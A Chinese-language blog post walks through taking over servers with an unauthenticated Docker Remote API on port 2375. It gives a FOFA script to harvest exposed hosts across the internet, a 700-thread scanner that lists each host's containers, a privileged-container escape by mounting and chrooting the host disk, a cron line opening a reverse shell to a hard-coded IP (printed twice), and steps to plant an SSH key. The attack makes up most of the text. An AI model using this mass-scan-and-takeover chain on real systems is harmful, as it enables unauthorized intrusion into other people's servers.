Docker-remoter-api滲透
一顆小胡椒2022-04-18 16:24:50
漏洞簡介及危害
Docker是一個開源的應用容器引擎,讓開發者可以打包他們的應用以及依賴包到一個可移植的容器中,然后發布到任何流行的LINUX機器上,也可以實現虛擬化。Docker swarm 是一個將docker集群變成單一虛擬的docker host工具,使用標準的Docker API,能夠方便docker集群的管理和擴展,由docker官方提供。
Docker Remote API 是一個取代遠程命令行界面(rcli)的REST API。Docker Remote API如配置不當可導致未授權訪問,攻擊者利用 docker client 或者 http 直接請求就可以訪問這個 API,可能導致敏感信息泄露,黑客也可以刪除Docker上的數據。攻擊者可進一步利用Docker自身特性,直接訪問宿主機上的敏感信息,或對敏感文件進行修改,最終完全控制服務器。
聲明及前提
第一次挖洞,靠這個漏洞拿下了南京某大公司的一臺服務器已獲得cnvd編號,就寫這篇文章記錄分享下。
本文僅供學習參考,如若保存下載后請在12小時內刪除,不然后果自負。不得傳播,商用以及利用文中技術進行非法活動,否則后果自負。嚴禁轉載,否則一切后果自負。
實戰
直接fofa搜docker 協議 端口 2375的資產全爬下來 然后用腳本檢測。
fofa爬取腳本
#encoding=utf-8import requestsimport base64import sys email = r'xxx@qq.com'api_key = r'fofa_api_key'api = r'https://fofa.info/api/v1/search/all?email={}&key={}&qbase64={}&size=10000'arg = sys.argv[1]print(arg)flag = base64.b64encode(arg.encode()).decode()response = requests.get(api.format(email,api_key,flag))results = response.json()["results"]print("共搜索到{}條記錄!".format(len(results)))file_name = r"{}.txt".format(arg)f = open(file_name,"a")for addr in results: f.write(addr[0]+'')f.close()
2375端口檢測腳本
# python3# by 5wimmingimport queueimport threadingimport timeimport requestsimport jsonimport docker thread_lock = threading.Lock()out_result = [] # 輸出列表multi = 700 # 線程數量queueSize = 800 # 申請隊列空間大小,值一般略大于multi的值input_file_path = "./port=2375.txt" # 輸入文件路徑,每個ip一行output_file_path = './result.txt' #輸出文件路徑ports = ['2375'] # 掃描端口wait_time = 5 # 文件線程準備時間(s),默認1s,若需要讀取的文件大小大于10M可增加至5s以上,文件越大設置的時間理論上越長 def read_file(): with open(input_file_path, 'r') as fp: file_data = fp.readlines() data_list = file_data data_length = len(data_list) flag_xy = 0 while flag_xy != data_length: while (not workQueue.full()) and (flag_xy != data_length): workQueue.put(data_list[flag_xy]) flag_xy += 1 continue print("文件內容放入隊列完成") def multi_start_main(): while not workQueue.empty(): file_line_api = workQueue.get() custom_def(file_line_api) def http_get(url): response = requests.get(url) return response.text def get_version(host, port): url = "http://"+host+":"+port+"/version" ret = json.loads(http_get(url)) client_api_version = ret['ApiVersion'] return client_api_version def get_container(host, port, docker_version): cli = Client(base_url='tcp://'+host+':'+port, version=docker_version) return cli def custom_def(file_line_api): ip = file_line_api.strip() result = '' for port in ports: try: docker_version = get_version(ip, port) result = ip + '\t' + port + '\tversion:' + docker_version docker_containers = get_container(ip, port, docker_version) result += '\t' + str(docker_containers.containers(all=True)) except Exception as e: print(ip, e) if result: print('success:', result) with thread_lock: out_result.append(result) break if __name__ == '__main__': threads = [] workQueue = queue.Queue(queueSize) fileThread = threading.Thread(target=read_file) fileThread.start() print("文件讀取線程準備時間%ss" % wait_time) time.sleep(wait_time) for i in range(multi+1): thread = threading.Thread(target=multi_start_main) thread.start() threads.append(thread) for t in threads: t.join() fileThread.join() with open(output_file_path, 'w') as fw: fw.writelines(out_result) print("主線程結束,任務完成")
docker遠程連接列出鏡像目錄
可以發現2375端口開啟,并且是不需要授權訪問的。

docker逃逸
前提:靶機服務器需要能執行docker run指令。
sudo docker run -itd --privileged=true ubuntu:latest /bin/bash
逃逸指令
新建一個目錄:mkdir /test掛載磁盤到新建目錄:mount /dev/vda1 /test切換根目錄:chroot /test
至此已經可以控制宿主機了,但是關于反彈shell以及寫入自己的ssh密鑰這個不一定可以直接操作,由于風險原因我不會進行反彈shell和ssh密鑰寫入,方法如下:
寫計劃任務,反彈宿主機Shell。echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root 如果要寫SSH的話,需要掛載宿主機的root目錄到容器。docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys然后ssh 私鑰登錄。寫計劃任務,反彈宿主機Shell。echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root 如果要寫SSH的話,需要掛載宿主機的root目錄到容器。docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys然后ssh 私鑰登錄。
額外逃逸思路
如果上面的逃逸辦法用不了,服務器上有用docker掛載web服務可以嘗試進入容器上webshell變相拿下。
一顆小胡椒
暫無描述